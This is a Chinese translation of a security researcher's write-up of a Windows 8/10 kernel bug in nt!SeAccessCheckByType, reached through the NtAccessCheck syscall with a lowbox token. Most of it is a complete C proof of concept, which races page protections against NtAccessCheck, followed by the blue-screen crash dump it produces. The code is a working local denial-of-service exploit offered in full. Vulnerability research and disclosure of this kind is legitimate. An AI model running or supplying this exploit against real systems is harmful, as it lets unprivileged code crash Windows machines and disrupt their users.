这是这个系列的第四篇,大家可以看一下以前的三篇:

我们今天讨论的漏洞存在于内部的nt!SeAccessCheckByType功能,通过三个系统调用可达:NtAccessCheckNtAccessCheckByTypeNtAccessCheckByTypeResultList。所有从Windows 8开始的Windows版本都受到影响,这是由于相关代码区域特定于所谓的Lowbox令牌(由AppContainers使用),这种机制在Windows 8中开始引入。与以前的问题相似,这个漏洞也是由Bochspwn样仪器发现的,这个漏洞由不安全地访问用户模式存储器(没有足够的异常处理来保护)引起的。

我们在漏洞利用中使用系统调用的NtAccessCheck声明,如下所示:

NTSTATUS WINAPI NtAccessCheck(
 _In_ PSECURITY_DESCRIPTOR SecurityDescriptor,
 _In_ HANDLE ClientToken,
 _In_ ACCESS_MASK DesiredAccess,
 _In_ PGENERIC_MAPPING GenericMapping,
 _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet,
 _Inout_ PULONG PrivilegeSetLength,
 _Out_ PACCESS_MASK GrantedAccess,
 _Out_ PNTSTATUS AccessStatus
 );

nt!SeAccessCheckByType工作知道它对由客户端应用程序提供的指针进行了操作,这可以由函数内部存在的try/except结构的数量证明。可以通过查看写入本地SEH帧的TryLevel字段的标识来确定它们的精确数(EH3_EXCEPTION_REGISTRATION结构):

trylevel

可以看出,该函数共有10个try/except块(标识符0-9),因此绝大多数用户模式内存引用被正确保护。但是,仍然有两个从进程内存中读取的指令,没有启用异常处理(例如,从Windows 10 1607 32位的ntoskrnl.exe示例):

bug

从上下文不清楚的是,EDX和EAX寄存器都将指向通过PNTSTATUS AccessStatussyscall参数传入客户端指针的值。如果我们在上述代码上使用Hex-Rays反编译器,则原始输出应如下所示:

QQ截图20170405154548在这里,不安全的访问通过引用v43a11变量来表示。代码区域似乎与日志记录有关(考虑到DoS#2的性质,这是一个有些常见的模式  ),并且两个受影响的指令是很难达到的,因为在上述if语句中首先需要评估为TRUE的条件。我们采取了几个步骤,以利用该错误并触发未处理的内核异常:

  1. 我们使用并发线程来连续更改AccessStatus内存区域的权限。像以前所有的情况一样,这是必要的,因为对用户模式变量的不安全访问不是函数中的第一个变量。实际上,对于具有2个或更多个内核的机器,此次攻击在<1秒以内就可以工作。
  2. 我们使用未记录的NtCreateLowBoxToken系统调用创建了一个lowbox标记,以传递v22->TokenFlags & 0x4000 条件,这实际上检查了TOKEN_LOWBOX标志。。
  3. 我们模仿内部ntdll!RtlCheckTokenMembershipEx函数的行为,我们发现它们始终触发内核错误的代码。

最后,我们总结了以下概念C代码的证明,这是以前的帖子提到的(主要是由于NT API声明),但是在Windows 8和10上都可以运行:

#include <Windows.h>
#include <winternl.h>
#include <sddl.h>
#include <cstdio>

extern "C" {

NTSTATUS WINAPI NtCreateLowBoxToken(
 _Out_ HANDLE * LowBoxTokenHandle,
 _In_ HANDLE TokenHandle,
 _In_ ACCESS_MASK DesiredAccess,
 _In_ OBJECT_ATTRIBUTES * ObjectAttributes OPTIONAL,
 _In_ PSID PackageSid,
 _In_ ULONG CapabilityCount OPTIONAL,
 _In_ PSID_AND_ATTRIBUTES Capabilities OPTIONAL,
 _In_ ULONG HandleCount OPTIONAL,
 _In_ HANDLE * Handles OPTIONAL
 );

NTSTATUS WINAPI RtlCreateSecurityDescriptor(
 _Out_ PSECURITY_DESCRIPTOR SecurityDescriptor,
 _In_ ULONG Revision
 );

NTSTATUS WINAPI RtlSetOwnerSecurityDescriptor(
 _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor,
 _In_opt_ PSID Owner,
 _In_opt_ BOOLEAN OwnerDefaulted
 );

NTSTATUS WINAPI RtlSetGroupSecurityDescriptor(
 _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor,
 _In_opt_ PSID Group,
 _In_opt_ BOOLEAN GroupDefaulted
 );

NTSTATUS WINAPI RtlCreateAcl(
 _Out_ PACL Acl,
 _In_ ULONG AclLength,
 _In_ ULONG AceRevision
 );

NTSTATUS WINAPI RtlAddAccessAllowedAce(
 _Inout_ PACL Acl,
 _In_ ULONG AceRevision,
 _In_ ACCESS_MASK AccessStatus,
 _In_ PSID Sid
 );

NTSTATUS WINAPI RtlSetDaclSecurityDescriptor(
 _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor,
 _In_ BOOLEAN DaclPresent,
 _In_opt_ PACL Dacl,
 _In_opt_ BOOLEAN DaclDefaulted
 );

NTSTATUS WINAPI NtAccessCheck(
 _In_ PSECURITY_DESCRIPTOR SecurityDescriptor,
 _In_ HANDLE ClientToken,
 _In_ ACCESS_MASK DesiredAccess,
 _In_ PGENERIC_MAPPING GenericMapping,
 _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet,
 _Inout_ PULONG PrivilegeSetLength,
 _Out_ PACCESS_MASK GrantedAccess,
 _Out_ PNTSTATUS AccessStatus
 );

} // extern "C"

namespace globals {
 PNTSTATUS AccessStatus;
} // namespace globals

DWORD ThreadRoutine(LPVOID lpParameter) {
 DWORD flOldProtect;

 // Indefinitely alternate between R/W and NOACCESS rights.
 while (1) {
 VirtualProtect(globals::AccessStatus, sizeof(NTSTATUS), PAGE_NOACCESS, &flOldProtect);
 VirtualProtect(globals::AccessStatus, sizeof(NTSTATUS), PAGE_READWRITE, &flOldProtect);
 }
}

VOID Cleanup(PSID Sid, HANDLE hToken, HANDLE hLowBoxToken, HANDLE hImpersonatedToken, PSID NtSid) {
 if (Sid != NULL) {
 LocalFree(Sid);
 }
 if (hToken != NULL) {
 CloseHandle(hToken);
 }
 if (hLowBoxToken != NULL) {
 CloseHandle(hLowBoxToken);
 }
 if (hImpersonatedToken != NULL) {
 CloseHandle(hImpersonatedToken);
 }
 if (NtSid != NULL) {
 LocalFree(NtSid);
 }
}

int main() {
 // Create a SID.
 WCHAR SidString[] = L"S-1-15-2-1-1-1-1-1-1-1";
 PSID Sid = NULL;
 if (!ConvertStringSidToSid(SidString, &Sid)) {
 printf("ConvertStringSidToSid failed, %d\n", GetLastError());
 return 1;
 }

 // Open the current process token.
 HANDLE hToken = NULL;
 OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);

 // Create a lowbox token based on the process token.
 OBJECT_ATTRIBUTES ObjectAttributes;
 InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);

 HANDLE hLowBoxToken = NULL;
 NTSTATUS st = NtCreateLowBoxToken(&hLowBoxToken, hToken, TOKEN_ALL_ACCESS, &ObjectAttributes, Sid,
 0, NULL, 0, NULL);
 if (!NT_SUCCESS(st)) {
 printf("NtCreateLowBoxToken failed, %x\n", st);
 Cleanup(Sid, hToken, NULL, NULL, NULL);
 return 1;
 }

 // Create an impersonation token based on the lowbox one.
 HANDLE hImpersonatedToken = NULL;
 if (!DuplicateToken(hLowBoxToken, SecurityImpersonation, &hImpersonatedToken)) {
 printf("DuplicateToken failed, %d\n", GetLastError());
 Cleanup(Sid, hToken, hLowBoxToken, NULL, NULL);
 return 1;
 }

 // Create an NT AUTHORITY sid.
 SID_IDENTIFIER_AUTHORITY NtSidAuth = SECURITY_NT_AUTHORITY;
 PSID NtSid;

 if (!AllocateAndInitializeSid(&NtSidAuth, 1, 4, 0, 0, 0, 0, 0, 0, 0, &NtSid)) {
 printf("AllocateAndInitializeSid failed, %d\n", GetLastError());
 Cleanup(Sid, hToken, hLowBoxToken, hImpersonatedToken, NULL);
 return 1;
 }

 // Create a security descriptor based on the NT sid.
 SECURITY_DESCRIPTOR sc;
 BYTE acl[0xA0];
 if ((st = RtlCreateSecurityDescriptor(&sc, 1), !NT_SUCCESS(st)) ||
 (st = RtlSetOwnerSecurityDescriptor(&sc, NtSid, FALSE), !NT_SUCCESS(st)) ||
 (st = RtlSetGroupSecurityDescriptor(&sc, NtSid, FALSE), !NT_SUCCESS(st)) ||
 (st = RtlCreateAcl((PACL)acl, sizeof(acl), ACL_REVISION), !NT_SUCCESS(st)) ||
 (st = RtlAddAccessAllowedAce((PACL)acl, ACL_REVISION, 1, NtSid), !NT_SUCCESS(st)) ||
 (st = RtlSetDaclSecurityDescriptor(&sc, TRUE, (PACL)acl, FALSE), !NT_SUCCESS(st))) {
 printf("One of the Rtl functions failed during security description creation, %x\n", st);
 Cleanup(Sid, hToken, hLowBoxToken, hImpersonatedToken, NtSid);
 return 1;
 }

 // Allocate memory for the structure whose privileges are being flipped.
 globals::AccessStatus = (PNTSTATUS)VirtualAlloc(NULL, sizeof(NTSTATUS), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

 // Create the racing thread.
 CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadRoutine, NULL, 0, NULL);

 //
 // Run an infinite loop trying to trigger the unhandled exception.
 //
 GENERIC_MAPPING RtlpCheckTokenMembershipGenericMapping = { 0x20001, 0x20000, 0x20000, 0x1F0001 }; 
// Ripped from NTDLL.DLL.
 PRIVILEGE_SET PrivilegeSet;
 DWORD PrivilegeSetLength = sizeof(PrivilegeSet);
 ACCESS_MASK GrantedAccess;

 while (1) {
 NtAccessCheck(&sc,
 hImpersonatedToken,
 1,
 &RtlpCheckTokenMembershipGenericMapping,
 &PrivilegeSet,
 &PrivilegeSetLength,
 &GrantedAccess,
 globals::AccessStatus);
 }

 return 0;
}

启动程序立即产生以下蓝屏死亡:bsod

完整的崩溃摘要:

KMODE_EXCEPTION_NOT_HANDLED (1e)
This is a very common bugcheck. Usually the exception address pinpoints
the driver/function that caused the problem. Always note this address
as well as the link date of the driver/image that contains this address.
Arguments:
Arg1: c0000005, The exception code that was not handled
Arg2: 81504096, The address that the exception occurred at
Arg3: 00000000, Parameter 0 of the exception
Arg4: 005a0000, Parameter 1 of the exception

Debugging Details:
------------------

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx.
 The memory could not be %s.

FAULTING_IP: 
nt!SeAccessCheckByType+706
81504096 833800 cmp dword ptr [eax],0

EXCEPTION_PARAMETER2: 005a0000

BUGCHECK_STR: 0x1E_c0000005_R

DEFAULT_BUCKET_ID: WIN8_DRIVER_FAULT

PROCESS_NAME: AccessCheck.ex

CURRENT_IRQL: 0

ANALYSIS_VERSION: 6.3.9600.17237 (debuggers(dbg).140716-0327) x86fre

EXCEPTION_RECORD: 86bf9938 -- (.exr 0xffffffff86bf9938)
ExceptionAddress: 81504096 (nt!SeAccessCheckByType+0x00000706)
 ExceptionCode: c0000005 (Access violation)
 ExceptionFlags: 00000000
NumberParameters: 2
 Parameter[0]: 00000000
 Parameter[1]: 005a0000
Attempt to read from address 005a0000

TRAP_FRAME: 86bf9a14 -- (.trap 0xffffffff86bf9a14)
ErrCode = 00000000
eax=005a0000 ebx=00000001 ecx=8e087200 edx=00000000 esi=8a32ec00 edi=00000000
eip=81504096 esp=86bf9a88 ebp=86bf9bbc iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
nt!SeAccessCheckByType+0x706:
81504096 833800 cmp dword ptr [eax],0 ds:0023:005a0000=c0000022
Resetting default scope

LAST_CONTROL_TRANSFER: from 8161b491 to 815a0ee4

STACK_TEXT: 
86bf8f64 8161b491 00000003 b4954df8 00000065 nt!RtlpBreakWithStatusInstruction
86bf8fb8 8161aede 86b7f340 86bf93d8 86bf940c nt!KiBugCheckDebugBreak+0x1f
86bf93ac 8159fd3a 0000001e c0000005 81504096 nt!KeBugCheck2+0x73a
86bf93d0 8159fc71 0000001e c0000005 81504096 nt!KiBugCheck2+0xc6
86bf93f0 8164c18a 0000001e c0000005 81504096 nt!KeBugCheckEx+0x19
86bf940c 815b3552 86bf9938 816bd328 86bf9500 nt!KiFatalExceptionHandler+0x1a
86bf9430 815b3524 86bf9938 816bd328 86bf9500 nt!ExecuteHandler2+0x26
86bf94f0 814a86b1 86bf9938 86bf9500 00010037 nt!ExecuteHandler+0x24
86bf991c 815aeee5 86bf9938 00000000 86bf9a14 nt!KiDispatchException+0x127
86bf9988 815b17e7 00000000 00000000 00000000 nt!KiDispatchTrapException+0x51
86bf9988 81504096 00000000 00000000 00000000 nt!KiTrap0E+0x1a7
86bf9bbc 81553419 00000001 00000001 00000000 nt!SeAccessCheckByType+0x706
86bf9bec 815ae127 00a5f9ec 00000078 00000001 nt!NtAccessCheck+0x29
86bf9bec 770c4d50 00a5f9ec 00000078 00000001 nt!KiSystemServicePostCall
00a5f7fc 770c102a 008e1601 00a5f9ec 00000078 ntdll!KiFastSystemCallRet
00a5f800 008e1601 00a5f9ec 00000078 00000001 ntdll!NtAccessCheck+0xa

就是这样。:)感谢您的阅读,下次再见!

*作者:j00ru,MottoIN小编编译发布,

源链接

Hacking more

...